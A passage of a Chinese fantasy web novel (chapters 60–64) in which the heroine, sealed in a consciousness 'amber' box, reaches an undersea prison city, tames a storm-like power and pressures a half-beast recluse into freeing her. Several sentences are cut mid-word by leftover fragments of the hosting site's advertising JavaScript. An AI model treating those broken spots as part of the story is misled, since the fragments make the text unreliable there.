1L（有点方）：看到大家的讨论了。我不是游戏官方更不是间谍，如果有人不相信，就过来找到我，亲自验证我是不是吧。 2L（有点方）：奉陪。 纪学默对她说过这样一句话：“某种意义上来说，我们是同类。” 现在她理解了，她完全理解了他为什么说两人是同类。 追求安逸的表面下翻腾着叛逆到有些病态的灵魂。 用死气沉沉的丧气压抑着野性，是因为她怕释放出来的话会吓着别人，也怕吓着自己。 在某些时刻，她可以放弃所有谨慎周全，把自己推进深渊，并享受命悬一线带来的病态的快乐。 现在开始，见招拆招的策略被抛弃，她将主动制造问题。 与其受屈，不如玩命。 60. 死亡交响25 【高维风暴】 身周丝丝缕缕地涌起积雨云般的气流，她如同风暴眼一样被包裹在其中，阴郁的云霾汹涌起伏。 不受控制的气息横流。 丛黎察觉自己不对劲，而她身上这种突如其来的“暴动”来自于异能，也来自于她被影响动摇的心志。 纪学默也发现了，他无法触碰到她，手穿过空气：“丛黎。” 她静下心来：“我知道，我会控制好的，你离远点。” 往好处想，如果她能自如地控制这种暴动的力量，在战斗中她会多一个筹码。 所以她要做的是：驯服它。 负面的念头从洞窟里奔腾而出，肆意在荒原上流动。 她是从冷青认识“玩家”这个群体的。第二个玩家是霜。她遇到的第三个玩家则是和她合作的盟友蒋涟霏。 她遇到的玩家都很不错，至少给她的印象是这样的。 但玩家群体里确实存在着不理智的、容易被煽动的、被负面情绪驱使的、以最大的恶意面对别人的、在多数人的遮蔽下肆意作恶的。 因为这就是人类。 她不会和那些人做朋友，她也不可能让所有人喜欢。 “我在这里。”纪学默没有听从她的话保持距离，反而抱紧了怀里的盒子。 “嗯。”她答应道。 为了避免伤到纪学默，她有意识地控制着自己。 “深黑号”潜艇往下沉潜着。 为了适应不同深度海域的状态，尤其是在承受外部巨大水压情况下，潜艇往下的速度尽量放慢，循序渐进地往目标而去。 但是潜艇所能提供的氧气有限，“深黑号”并没有采取悠闲的步伐，而是稳定而缓慢地下行，确保潜艇结构和乘客安全，尽量节约氧气供应。 午夜过了。 囚犯舱里被异能者撒了催眠粉，那些囚犯安静如鹌鹑地被锁在座位上。 除了巡逻的机器人，潜艇上几乎没有声音。 单人隔间里，两人在意识内交流。 纪学默再次重复：“我在这里。” 她答应道：“好。” …… 每隔一阵子，他就会向她确认自己的存在：“丛黎，我在这里。” 而她每次都会给出回应：“我知道。” 凌晨，“深黑号”的下潜结束了。 伪装的海床入口被打开。罅隙间，稍显黯淡的光线从其中照射过来。 潜艇成为了飞艇，居高临下地俯瞰着整座城。 海床下特殊的发光生物照亮了这座囚犯与垃圾之城，让它如同昏暗的幽灵城堡一般。 城市轮廓模糊不清，只有三座巨大的发光塔划分着区域，这是一号水下城“定岛”的生命线。 纪学默不厌其烦地又一遍重复：“我在这里。” 丛黎：“嗯，我没事了。” 漫长的等待中，纪学默终于等到了这句话。 他微笑道：“好。” 丛黎总算控制住了被动触发的技能“高维风暴”。 花了不少时间。不过她也清楚，她对这个技能还只是第一次控制成功，并不意味着她能完全操控这种技能力量，她需要更多的练习才能完全掌握这种危险又庞大的力量。 “深黑号”潜艇打开了空气入口，在定岛的半空中缓缓向下降落。 在飞艇机场停落的一瞬间，悠长的钟声又响了起来。 “降落时间：凌晨五点四十二分三十秒。” 丛黎发现纪学默身上的衣服被划破了，衬衫变成了破碎的布条，肌肤上也有血痕。 估计是她的“高维风暴”做的好事。 她歉疚地道：“真抱歉把你弄成这样，不过谢谢你。” 纪学默却形容道：“但我感到很快乐，被你伤害的时候，像是……” 他说到一半不说了，有些出神地回味着。 丛黎：“……” 他是不是其实一直有点病病的？ 离开“深黑号”之前，纪学默把那套被高维风暴的外围气流撕得破烂不堪的衣服换了下来。同时，他按照规定，在自己的衣服外又穿上军官舱统一发的防护服，这层薄薄的防护服是为了防备有流窜在外的犯人伤人。 穿好装备，纪学默又带上了定位器。 下船的准备都做好了，军官舱首先打开。 靠近飞艇机场的是一座塔楼，这是定岛第一区，最安全的一个区，监管也最严格，塔楼周围有围墙，围墙内便是布下天罗地网的监狱。 定岛第二区在第二座塔楼后，在这里充满了垃圾山，刑满释放后的囚犯将在这里度过他们的“观察期”。 第三座塔楼后，便是定岛的第三区，通过“观察期”的出狱人员将在这里讨生活，同样在垃圾山中度过，这里的监管是最松懈的，几乎没有官方人员来到第三座塔楼上瞭望。 定岛人戏称这三个区为“监狱、炼狱和地狱”。 燕尾闷声不响地跟在纪学默身后。 他对安检处那件事还是耿耿于怀，尤其是现场那个莫名冒出来的“第四个人”。他至今想不明白扭蛋机中显示的“第四个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人”到底是谁，操纵随机武器的又是谁——难道真的是幕僚长吗？ 不过按照他的性格，他不会多问什么，免得趟进浑水里。 走到最后一级阶梯，燕尾踩上地面的第一反应很大，他整个人都弹射了起来：“这是什么？！” “是爬荧。”纪学默冷静地解释道，他在出发前就充分了解了水下城的状况。 海床下遍地的特殊发光生物提供着大部分的光源，它们到处都是，墙壁上、地面上，只要可以攀附的表面，都有它们的存在。 这些发光生物被称作“爬荧”，无毒无害，难以清除。 纪学默和燕尾现在每一步都会踩到密密麻麻的“爬荧”上，却不沾一点它们的肢节，它们像软体动物一样能伸能缩。 燕尾脸色又青又白，他对这种软体动物接受不是很良好：“幕僚长，这里全都是爬……爬荧吗？” 纪学默：“是的，习惯就好了。” 燕尾：“这……” 这怎么习惯得了？！ 丛黎忽然庆幸自己还是个盒子了，这样她就不需要亲自下地走路，不然她铁定会像燕尾那样。 爬荧存在的地方，那种昏暗的光就淡淡地晕染着。 将整个水下城映照得诡异又混乱。 燕尾开始担忧：“这里值班的监狱军官完成交接班后，明天‘深黑号’就会启航，重新回到陆地，幕僚长，我们是赶下一班潜艇吗？” 纪学默道：“根据我考察的情况来决定，说不定要赶下次的下次。” 燕尾不放心：“我们只在第一区考察吗？” 纪学默明确表示：“不，经济规划部的主要计划在第三区，当然会去第三区。” 燕尾脸色有点发白。 第三区，治安最差的“自由区”，也是人们口中的“地狱区”。 纪学默见他有些不安的样子，提醒他：“燕尾，你忘了在安检处的战斗吗？” 燕尾愣了一会儿，反应过来：“幕僚长，你的意思是……” 燕尾稍微放心了一点。 原来，那场战斗中第四个人真的存在，而且实力在他之上。 丛黎怎么也想不到，燕尾这么个大个儿，又是“数字加成”的异能者，居然在水下城胆子那么小，此刻全靠“未知的大佬”在壮胆子。 或许是那些软体动物爬荧彻底击垮了这位大个子的心理状态。 丛黎和黎舍之联系：【黎舍之，你在哪里？】 【黎舍之】：第三区的塔楼，你可以过来，我会帮你解除盒子的状态。 61. 封印之塔1 去往第三区塔楼最快的途径是坐第一区的巡逻飞船。 飞船巡游的高度并不高，从上往下俯瞰时能看到地面垃圾山中如同漫山遍野山花一般的爬荧。 出发前，第一区的军官把一个手提箱交给纪学默：“这里有您需用的。” 一路上由燕尾提着手提箱。在巡逻飞船上度过两个小时后，飞船到达了目的地。 “请务必小心，察觉危险立刻按下警报按钮。”军官提醒道。 纪学默还没下飞船，丛黎透过远景已经看到了那座塔楼。 第三区塔楼高耸约有三百米，银白色的塔身上安装了发光结构，与爬荧的光对比起来显得明亮无比。 纪学默带着盒子下了飞船。 燕尾东张西望，诧异道：“天好像亮了一点？” 纪学默：“早上六点多，爬荧的光会明亮如白炽灯，晚上六点多，爬荧的光便黯淡下去。” 这些软体动物还真算是水下城的太阳，它们提供光源的同时构成了这里的空气。 饶是对爬荧们又惧又嫌的燕尾，也有点原谅这些小东西了。 纪学默扫了权限进入塔楼，来到六楼的房间。 听说他重点的考察地点是第三区，海务局便安排他们这段时间住在这里。 丛黎对纪学默道：“把盒子放在房间里就行了，你去做其他事。” 纪学默没有过多干预她的决定：“嗯，你可以随时叫我回来。” 纪学默和燕尾离开塔楼的房间后，丛黎问黎舍之：【接下来呢？】 【黎舍之】：三楼以上就没有监控了，你用高维投影带着盒子走到十楼，那里有一个叫鹤茜的守门人。 【丛黎】：那你呢？你在哪里？ 【黎舍之】：塔楼顶楼。 丛黎放出高维投影，带着自己的容器盒子离开六楼房间。 塔楼的楼梯上都是爬荧，它们照亮了整个楼梯的空间，每走一个台阶，爬荧的数量就少一点，光线也更昏暗一些，或许对于这些软体动物来说，爬楼梯也是一件艰辛的事。 塔楼十楼。 她看到在影影绰绰的环境里，一个人坐在铁栅栏门口，安静得如同一尊雕塑。 丛黎走近了一些。 那是一个头发花白的女人，睁着眼，眼珠却丝毫不动，仿佛被定住一样，脖子上绕着一圈兔子围脖。 兔子围脖看起来像是真兔子，已经失去了生机，具有柔韧性的身体被拉长挂在脖颈上。 黎舍之说这个守门人叫鹤茜。 戴着兔子围脖的鹤茜的眼珠开始转动，她看向了丛黎。 像活死人一样，声音在塔楼中显得很空，虚弱的一缕，飘荡着：“把你手里的琥珀交给我。” 琥珀？ 丛黎手里只有一个盒子，那是装着她的容器。她猜想鹤茜口中的“琥珀”就是盒子。 她不作声，把盒子递过去。 鹤茜没有动作，她的视线往下，命令道：“放下，放到我的腿上。” 鹤茜坐在一把矮凳上，身形显得很矮，丛黎弯下腰，把盒子放在她并拢的双膝上。 这个名为“鹤茜”的守门人浑身上下都透露着诡异。 【黎舍之】：鹤茜的异能是“意识封存”，所以亚尔弗的意识连接无法和她相连，我和她之间没有交流，她记不起你是谁，所以需要触碰意识琥珀来了解你。 丛黎忍不住追问：【封存后的意识，就变成了“琥珀”？】 【黎舍之】：是的。渡鸦的意识被封存后，鹤茜用了这种看起来像普通内存盒的材料做成了“琥珀”。 原来如此，盒子果然就是“琥珀”，而渡鸦的意识被凝固在其中。 而系统一开始给出的身份卡就是“渡鸦的意识盒子”。 【丛黎】：那这么说来，渡鸦的意识被封存后，就失去了意识活力吗？也就是说在那十年内，她不能说话也不能思考？ 【黎舍之】：是的。我和她的意识共生，所以我的一部分意识也被封存在了其中。 【黎舍之】：直到你的意识降临，我的那一部分意识才复苏了。 绕来绕去的好复杂。 丛黎内心用了一个简单的等式来理清楚现在的状况： 现在丛黎的意识＝丛黎的意识＋沉睡的渡鸦意识＋复苏的部分黎舍之意识 怪不得其他玩家穿越了之后都有原主的记忆，而她什么都没有——是因为渡鸦的意识已经在琥珀中沉睡了。 鹤茜的手缓缓抬起，放在了盒子上，她的手背上皮肤变得极薄，隆起的青筋蜿蜒，指关节突出如树瘤。 她的手放在盒面上，过了好一会儿，开口道：“……三个意识，有点难办。” 等式果然是正确的。 她和渡鸦的意识紧紧相连，而渡鸦的意识和黎舍之的意识共生，纠缠在一起。 鹤茜直视着丛黎，幽幽地道，她的语速极慢，又轻又缓：“前几天来了一个人，对我说，要是有人带着琥珀来，希望我帮忙解开。” “但是，这并不是一件简单的事。” 丛黎安静地等着她说完。 鹤茜：“三个意识相融相生，连同你的身体也被困在琥珀中，很难解开。” 身体…… 丛黎想到了纪学默曾经无意间提起过的猜测：你并不是意识体。 看来穿越（高维降临）的时候，她另一个世界的身体也过来了，只不过穿越过来却被困在了“意识琥珀”里。 丛黎问：“强行解开会有什么风险？” 鹤茜显然是被她的提问惊到了，她的眉毛微微挑起来：“来找我解开琥珀的人中，你还是第一个想到强行解开的，是真的不怕死啊。” 丛黎：“死了也没关系，毕竟这是我自愿的。” 鹤茜：“别人逼迫的，你是不是就不愿意死了？” 丛黎：“当然。” 鹤茜僵硬地扯起嘴角，露出一个古怪的笑：“哈哈，哈哈哈。” 破碎而虚弱的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 笑声在塔楼里回荡，让爬荧的光都微弱了一些。 鹤茜结束了她的笑，重新恢复那副平静的表情：“回答你的问题：强行解开的风险是我可能会死。” 丛黎：“……打扰了。” 丛黎弯腰，从鹤茜双膝上取走盒子，转头就走。 黎舍之这个坑人的家伙，信誓旦旦地对她说能解开盒子状态，结果鹤茜婆婆说解开有难度，死的还不是她自己。 黎舍之，坑人！ 丛黎踏下第一级台阶的时候，鹤茜苍老的声音从身后传来。 “没想到你会因为这个理由直接放弃。” 丛黎回过头看向鹤茜：“盒子也没什么不好的。” 鹤茜：“有意思的小孩……刚才还梗着脖子对我说可不可以强行解开。” 丛黎：“……我也没有梗着脖子。” 鹤茜：“你去找那个，比我更强的意识封存异能者，他是个混血，应该就住在附近。” 【黎舍之】：彗兽和人类的混血，柳负越，住在第三区蛛杀街。 丛黎愣住了。 什么混血？谁和谁混血？ “我记不清他的名字了，你去找他，一定能得到答案的。祝你成功。” 鹤茜缓缓道。 说完，鹤茜闭上了嘴，眼珠也重新一动不动，像一尊雕像般。 颈边的兔子围脖柔软的白色兔毛贴着颈项。 丛黎又看了一眼，问黎舍之：【那只兔子，也是琥珀吧？】 【黎舍之】：是只空的琥珀，它的意识已经消散了。 鹤茜九十岁，鹤茜的兔子六十二岁，鹤茜在塔楼十楼门口等了五十二年，等她的兔子回到这里。 …… 原来是这样。 丛黎回头凝望了片刻，转身朝塔楼下方走去。 鹤茜婆婆和她的兔子，就像永远被封存在塔楼十楼的琥珀一样。 …… 丛黎要去找住在蛛杀街的那位异能者。 蛛杀街是第三区自由区的一条普通街道，比起其他区域来说还算干净，至少是能住人的。 在这里，出狱后度过观察期的犯人，尤其是其中一些循规蹈矩的犯人，都会选择在这里定居。蛛杀街远离矿洞，相对于竞争性强的地段比较安全。 丛黎带着盒子去了蛛杀街，根据黎舍之的指示找到了那间破旧的平房。 还没敲响门，一阵狂暴的杀气就朝她席卷过来。 “滚出去，离开我的领域。”里面那个人在低吼。 丛黎察觉到这股杀气有如实质地围绕在她身边，竟然隐约引起了她已经压抑下去的“高维风暴”。 【黎舍之】：柳负越的脾气很差，看样子今天更是撞到他的枪口了。今天暂时离开。 丛黎反而兴奋起来。 能牵动“风暴”，就说明这个名叫柳负越的家伙，能帮助她训练对“高维风暴”的控制。 她眼睛亮了起来：“我去试一下，没关系的。” 62. 封印之塔2 丛黎打开门，看到了屋子主人。 房间像很浅的一个瓷碗，一眼就可以望到头，碗中盛着海藻，海藻中是腐烂的白骨。 他的头发很黑很长，柔顺富有光泽，形销骨立，坐在看不清是什么物件的垃圾中，眼窝深陷，瞳色深紫，诡异又混乱的美。 这是屋子主人柳负越。 “你听不懂人话吗？”他的手扶在垃圾山里的某个把手上，挣扎着要站起来，面庞扭曲地怒吼道。 丛黎这才发现他并不是自愿坐在那堆垃圾中的，他是被垃圾淹没了，再加上身体用不上劲，所以无法行动。 而从柳负越身上隐隐散发出来的狂暴之气，和当时对战彗兽屏苏时所遇到气流有几分相似——来自彗兽族群的力量。 惹恼他确实会很麻烦，但是搞定他就意味着：解开意识琥珀＋控制高维风暴＋了解彗兽族群。 简直是一举三得，她不可能放着大好的机会不上手。 “要不要我帮你把垃圾搬掉？”她用心险恶地开口道。 “滚出去。” 一件不明物体挟着厉风朝她这个方向砸来。 她丝毫没躲。 那件物体从她的影子里穿过，飞出了屋外。 她回过头看向那件被扔出门外的垃圾：“看起来你已经同意收拾垃圾了。” 柳负越眼里的怒火无法遏制，因为情绪极度愤怒声音变得有些颤抖：“闭嘴……你以为我不会杀你吗？” 丛黎压抑着被动触发的异能高维风暴，闷声不响地开始收拾屋里的垃圾。 高维风暴在她情绪强烈波动的时候出现，尤其是在愤怒的情况下。或许是因为知道了在她身边窥伺着的“不休”，她对彗兽的力量极其敏感，一触碰到就会激发愤怒的情绪。 此刻柳负越四处横溢的彗兽力量让她的高维风暴逐渐开始凝聚，而她要做的是压制住这种沸腾的感觉。 “如果你有不想扔的东西，要及时告诉我是哪一样，不然我就不客气地都扔了。”她一边整理垃圾堆，一边说。 柳负越忍耐着不发动异能，声音因为某种情绪而变得有些喑哑：“不想变成化石的话，在三秒之内滚开，我不会说第二次了。” 他的异能是和鹤茜一样的“意识封存”，能把意识囚禁在静止的琥珀中。 她抬起头，目光落在他的手上，他半握着的手张了又合，隐忍着没有催动异能。 “很遗憾，我已经是化石了。”她叹气道。 柳负越愣了一下，随后反应过来。 他古怪地冷笑起来：“嗬，我知道了，你是来找我解除琥珀的……滚开吧，我不会帮你的！” 他正发泄着情绪的时候，她走近，把他从垃圾堆里拎了出来——手捏住他的衣服领子，轻松地把他拎出来，抖搂了一下身上的灰尘，放到一边。 “你挡着我收拾了。”她说。 他的瞳孔猛然缩紧，像猫类一样细长而尖锐。 “你……” 柳负越说不出话来，像遭受了痛苦一样，脊背微微拱起来，苍白的脸上多了一丝血色。 丛黎站定，她的一只手藏在斗篷下，手上握着她的容器，意识琥珀盒子。 她能感觉到他生气了，开始不受控制。 他身边的空气开始扭曲，温度骤然之间仿佛升高至滚烫，深黑色的气流在他身周鼓动着，圆碗般的漩涡隐约可见。 他站起身，踉跄了一步，手扶在墙上，手掌心里一只爬荧的光芒当下便黯淡下去。 这种不容易死的软体动物死亡之后便成为石头一样的物质，硬邦邦的，从墙上坠落了下来。 房间里，垃圾中的尘埃被激起。 丛黎放出了一部分高维风暴，用以对抗他忽然之间的暴走。 但如果不控制好度，她会失去理智。 “你……”柳负越再次重复了一遍，声音是艰难地挤出来的。 他的眼白处已经爬上了红血丝，瞳孔依然尖细。 丛黎观察着他的变化：“这就是你的‘侵入’？” 领域侵入，每个来自不同维度的、拥有异能的生物都被赋予了这种能力。 作为半个彗兽，柳负越也拥有这种能力。 柳负越没有说话，他的喉咙里咕隆着异响，像是兽类的低吼。 轰。 倾泻而出的风暴正面和他的杀意撞上！ 空气被对半撕裂。 感官上的压迫越来越具象化，浓厚的云层凝重地聚积。 丛黎之前便隐约感觉到“高维风暴”是能抵御“侵入”的，这次她试验了一下，果然如此。 在和她里莎船长对战的时候，船长提到过领域的强度和“求生意志”有关。 而高维风暴正是她所有本能欲望的体现，融合了一切的愤怒，本能的求生欲望，本能的复仇欲望，它不受控也正是因为“本能”是不受控的。 风暴抵御了“侵入”。 但是逐渐的，随着对方的攻击增强，风暴不可控制地膨胀起来。 她感觉到理智在不断被削弱，动物性在侵占着她的大脑，她只想杀了面前这个人，杀了他，毁了这个肮脏的地方。 野兽般的想法挤入她的脑海。 密云不断在她身周凝聚，她的手在微微颤抖着。 不，不……她来这里，不是为了杀他，不是为了这个，她来…… 猛然之间，柳负越身上的杀意熄灭了，他好像放弃了什么一样，身体靠着墙壁，重心往下滑。 黑色长发在他肩膀上铺落，随着他的动作从爬荧身体上滑过。 “来吧。”他的瞳孔恢复正常，静静地说。 漆黑浓密的长发和苍白的脸配合起来看像鬼魅一样，深紫色的眼睛更是透露着诡异。 被眼前的一幕冲击，理智重新回到丛黎身上。 她回过神来。 她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来这里，不是为了杀他，而是为了解开意识琥珀，了解彗兽族群，以及控制好她的高维风暴。 她看到他阴沉而绝望地看着她。 而风暴已经快逼近他的面前。 就像飙车飚到四百码，前面路上却站着一个傻住的孩子一样。 她惊慌地踩下刹车。 柳负越闭上了眼睛，及腰的黑发滑落在地上，他靠坐在了墙角。 风暴的气流往他的方向奔腾碾压过去。 她咬紧牙关。 收手！ 停下了。 一瞬间，烟消云散。 柳负越等了很久，见无事发生，睁开眼，看到她也瘫坐在地上。 “怎么不动手了？因为突然想到还要请求我解开琥珀吗？”他嘲讽道。 丛黎整理好情绪：“谢谢你。” 她心有余悸。 刚才她做好心理准备，给自己放了一个“度”，即便如此，到关键时刻她还是无法轻易收回风暴，更不用说控制风暴的力度。 如果柳负越继续攻击她，恐怕她的理智将不复存在，风暴会持续到将他杀死为止。 所幸的是，他停止了攻击，意料之外地露出了那副脆弱的样子，这才让她的理智回笼。 错愕的神色从柳负越眼里一闪而过，随后他又恢复了刻薄：“嗬。” 诡异的是，在正面交手之后，两人达成了一个微妙的默契。 柳负越虽然没有停止咒骂，但他不再释放杀气。 丛黎直接把这个骂骂咧咧的家伙从这个平房里扔到门口，把屋子里面的垃圾一锅端地扔出去，堆在街上的垃圾山上。 虽然垃圾只是挪了个地，但至少屋里可以住人了。 “我每天都会来的，直到你说出解除琥珀的条件，最好你把自己的情况也告诉我，因为我有点好奇你的想法。” 她平心静气地对他道。 “你做梦！”他拧着眉头。 “还有你这个，”她指了指他褴褛脏污的衣服，“我想不明白为什么头发那么漂亮脸蛋那么干净，怎么衣服会那么脏。” 他一副被冒犯了的样子：“闭嘴，从我的眼前消失！” 柳负越骂得很凶，直到她离开，他嘴里还在咕咕噜噜地骂她。 门关上了。 她的气息消失的时候，他松了一口气，安静下来：“……” 就在柳负越以为能安静地度过中午和下午时，门“哐”的一声打开了。 丛黎杀了个回马枪，她手里抱了一堆生活用具。 “我又回来了。” “我在定岛待的期限不会很长，时间紧迫，所以在撬开你的嘴之前，我每时每刻都会在你旁边。” 柳负越吃了一惊。 在被恶魔端得空荡荡的家里，他的手勉强撑住了地面，按在一只爬荧上。 他的胸膛起伏，呼吸几下后，骂道：“你这个恶魔！” 63. 封印之塔3 定岛的天气一直是晴天。 只有在垃圾倾倒日之后，才会有一次人工降雨，如同流泪般静默地把浮尘从空气中冲刷下来。 丛黎向纪学默借了一点钱，搞到了一把椅子、一张床垫和一块地毯，以及一瓶消毒水，算是垃圾中的上等货，微瑕五成新的那种。 她把这些搬到柳负越家里，权当是“贿赂”。 “我不要！”柳负越生气地骂道。 她看着他，语速放慢：“你，到底要不要？” 柳负越：“……” 四目相对的时候，他确定她什么都做得出来，说不定会把行动不便的他拎到外面游街示众。 被无形地威胁了一回，他的气焰小了一点，怂兮兮地闭了嘴巴。 屋子并不大，丛黎胡乱整理了一通，按照塔楼房间的布局把地毯铺在了那些爬荧上面。 “我回琥珀休息一会。”她把盒子放在桌上，收回投影。 柳负越环顾干净整洁的屋子，有些出神，眼神发滞，迟迟没有收回目光。 听到她说要“回琥珀”，他这才回过神来，看向桌子上的盒子。 这是她的意识琥珀。 既然能从琥珀里出来，那么里面被封存的一定不止这一个意识。 他生出了探查一下这个意识琥珀的想法，身体刚刚挪动一点，又顿住了。 他不可能会帮她解开琥珀！不可能！休想！ 柳负越收回往前的姿态，脊背往后靠在墙角，别过头不看那个盒子。 丛黎收回投影，惬意地在盒子里的躺椅上思考人生。 从纪学默那里借来的躺椅太实用了。 似乎是心有灵犀，她正想到他，纪学默也联系她了。 【纪学默】：你还会回来我身边吗？ 【丛黎】：我当然会回来，你身上彗兽孢子囊的事不可能就这么过去。 【纪学默】：仅仅是因为这个吗？如果孢子囊的事解决了呢，我还是你的朋友吗？ 她觉得纪学默今天有点怪，好像有了点小情绪。 是因为她对他说柳负越的事不用他插手吗？ 但纪学默来这里，名义上是为了考察水下城，如果随意掺和她的事，会被其他人看出端倪的。 【丛黎】：？ 【纪学默】：…… 【丛黎】：我们这样说话没有重要信息却占用意识连接的话，要被亚尔弗投诉的。 【纪学默】：我告诉亚尔弗我会加钱。 【丛黎】：……行。 【丛黎】：所以，你刚才问那个问题是怎么想的？我像是那种抛弃朋友的人吗？你放心，不会出现那种情况的。 【纪学默】：嗯。如果柳负越要钱的话，我可以给他，无论多少。 这么豪气？ 丛黎从躺椅上坐起来，放出投影，问屋里的柳负越：“你要钱吗？” 柳负越一副见了鬼的模样，古怪地看着她：“不要！” 她再问：“真的不要？五百万，或者更多？” 柳负越感到毛骨悚然，挤出一句话：“……你吃错药了吧。” 丛黎没有继续这个话题，她仔细观察着柳负越。 他继承了人类的身体，力量却来自彗兽，眼睛与人类无异，瞳色却和彗兽的紫色一致。 彗兽没有脚，只有轮子般的足轮用以行动。 所以，他…… “你的身体行动不便，是不是因为你没有彗兽的足轮，所以腿脚不好？”她忍不住问。 柳负越才平静下去的情绪又被激起来了，他毫无预兆地露出了怒容，厉声道：“谁准你说起这件事的？闭嘴。” 丛黎：“你不敢正视这件事吗？如果是这样的，我不会再问。” 柳负越：“我是真的不明白你了……没有人像你这样来请求别人帮忙的！” 她走到他面前。 她蹲下来，和他平视。 他别过脸，避免和她对视，嫌恶地皱起眉。 她的手按在他的脸颊上，把他的脸转过来，迫使他看着她：“因为我不仅是来请求你帮忙的，我带着恶意过来，我厌恶彗兽。” 柳负越脸上的表情僵硬了一瞬，随后那双深紫色的眼睛里溢出难以置信和愤怒。 他：“你这个……” 她：“我的本能是想杀了你，你没感觉到吗？刚才的事你忘了吗？” 一接触到他的力量，作为她本能的一部分的“高维风暴”就无法抑制地涌出来。 她本能地憎恨着这种来自另一维度的力量。 柳负越想起了刚才的那一幕。 风暴停在距离他不过咫尺的地方，差一点他就会被伤到。 那时，显然她用尽力气控制自己，以免伤到他。 他心里一紧，随后立刻反应过来。 不行！他不能被她迂回的话术欺骗！她自己都说她是带了恶意来的。 柳负越竭力冷静下来：“既然如此，为什么没有杀我？” 对，就朝这方面去想！无论她做出了什么行动，无论她说什么话，只要她的动机是功利性的，那么她就是错的！ 这样他就不会被动摇。 他对自己说。 他阴冷的眼睛牢牢地锁着她：“因为你有求于我，所以才不杀我。虚伪。” 丛黎：“让你感到冒犯我很抱歉，但我确实也在压抑我的本能，努力和你友好相处了。因为如果完全按照我的本能行动的话，我就不是人，而是野兽了。” 柳负越尽力忽视她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的话，在心里默念“错的她是错的她是错的”。 说服自己后，他冷着脸道：“你自己都这么说了。你再怎么做，我都不会被你打动的，你趁早可以离开了。” 丛黎捏紧了他的脸颊，增强了一点压迫感。 “既然你不愿意帮我解开琥珀，那么我换个动机。我现在审问你：你怎么来这里的？你以前是怎么过的？为什么在这里人不人鬼不鬼地继续活下去？” 她的手捏着他的脸颊，但他却无法触碰到她，连还手的地方都没有。 他的瞳孔紧缩，脸色难看，因为被捏住了脸颊说话有些糊里糊涂的：“和、你……无关。” 她坚持道：“但我想知道，我说了这是审问。” 他压抑着自己身上彗兽的力量，压抑得身体微微发颤：“你，以为……我会、说吗？” 和他的用尽全力比起来，她显得游刃有余：“所以我才说，我是来撬开你的嘴的。当然，你不说的话，我会从其他途径知道这些事。” 她放开了手。 他的苍白皮肤被捏得有点血色，在她松开手的那一瞬间，他也恢复了正常的呼吸，不再小口小口地谨慎呼吸。 柳负越抬起手臂，用力擦了一把脸颊，像要把她的痕迹从上面抹去一样。 “那你去打听！别问我。”他骂道。 她摊手：“不过我想，最好还是我听你自己说。” 这个恶魔！ 柳负越气极反笑。 丛黎估摸着时机差不多了。 她依然和他平视，平静地道：“我不相信我可以用嘴炮说服你，我只相信，在我实力压制你后还愿意和你和平相处，才算是真正的诚意。” 柳负越没有说话，只是生气地看着她。 她全心全意地注视着他：“你要做我的朋友吗？或者，退一步，你要和我交易吗？” 柳负越一怔。 他慌乱无措，愤怒地骂道：“你连我名字都没有叫过。朋友？……虚伪！” “柳负越。”她叫道。 柳负越在崩溃的边缘。 他叫天天不应，叫地地不灵，被困在这一方空间里，每一句话都被她压制着，就连呼吸都被她压制着。 他抬起手臂去推她：“走开！” 推了个空。 她是意识体的投影，他触碰不到她。 不仅推了个空，而且身体重心不稳，往前倾斜，即将摔倒。 她及时搀扶住他，手握在了他破旧的衣袖上，热度透过破洞的地方传过来。 “滚……滚。”他闷闷地道。 丛黎忽然注意到了什么：“整个屋子就你最脏了，要不要给你清理一下？” 柳负越的脸一下子涨红了：“不用你来！” 64. 封印之塔4 柳负越收拾好自己，从内屋出来。 他扎起了头发，漆黑柔顺的长发像秀丽的笔锋，一笔落下。 “我给你解除你的意识琥珀后，不要再纠缠我了。” 他的态度相对刚才好了一些，神色中却失去了刚才发怒时的生机，冰冷如机器人。 丛黎对他的态度转变感到有些诧异。 刚才，他还是一副“休想”“给你解除我就是狗”的宁死不屈模样。 现在他却识时务地同意了她的请求，甚至连激烈的情绪都按捺下去了。 她答道：“好的，谢谢你，我的朋友。” 她一开口，他又绷不住了，狠狠地瞪她：“嗬，你真是装都不装……我以为你至少会说点‘我想了解你不是想利用你’这种客套话。” 丛黎倒是发现了。 柳负越就喜欢别人恶言恶语地对他说话，因为那让他感觉他们对待他至少是真实的。 他下意识地认为，所有人都该厌恶他——他的眼里，自己是一个恐怖的混血生物——所以一旦有人好声好气地对他，他都会把那些识别成虚伪。 她对他这种吃硬不吃软的情况感到有点好笑：“我拜访你的主要目的就是这个，既然你都答应了，我有什么好推辞的？万一我推辞了一下，你又不答应了怎么办？我岂不是很亏？” 柳负越冷笑着，一瘸一拐地走过来：“进去琥珀里，快点。” “好。”她迅速收回投影。 她答应速度之快让柳负越有点不相信自己了。 他走到桌边，手撑着桌面，目光落在盒子上：“……你就不怕我在解除琥珀的过程中杀了你？” 丛黎正要答话。 他却打断了她：“我不想听。” 丛黎郁闷：“……” 不是他想听才问她的吗，怎么又不想听了。 “不怕吗”——说实话，这样的顾虑她不是没有。 毕竟，二十分钟前，柳负越还是那个“要我帮忙除非你死”梗着脖子极度反感她的家伙。 但是，现在她除了相信他，也没有其他办法。 柳负越把手按在盒子琥珀上。 他闭上眼静默了片刻。 “三个意识，其中一个意识和你相融度很高。”他说。 丛黎猜那个相融度很高的意识是渡鸦的意识。 因为黎舍之的意识本来是和渡鸦共生的，但在她到来之后能和她共感，说明渡鸦和她融合紧密。 只是，渡鸦的意识沉睡着，所以她既没有渡鸦的记忆，也感觉不到渡鸦本人。 意识琥珀内，三条明暗交错的线如同阴影般交汇在一起。 其中两条重合度高，边界模糊，另外一条颜色很淡，如同晨雾一样疏离地在旁边与其他线并行。 【意识分离】 分离的吸引力从各个方向揪拽着每条线，细腻而残忍地割开线与线之间的连接。 首先离开的是那条色泽黯淡的线，日光一出，河上的晨雾便消散了。 剩下蜿蜒纠缠的两条线交错着，每一次割离都有可能造成伤害和缺损。 柳负越加强了“识别”。 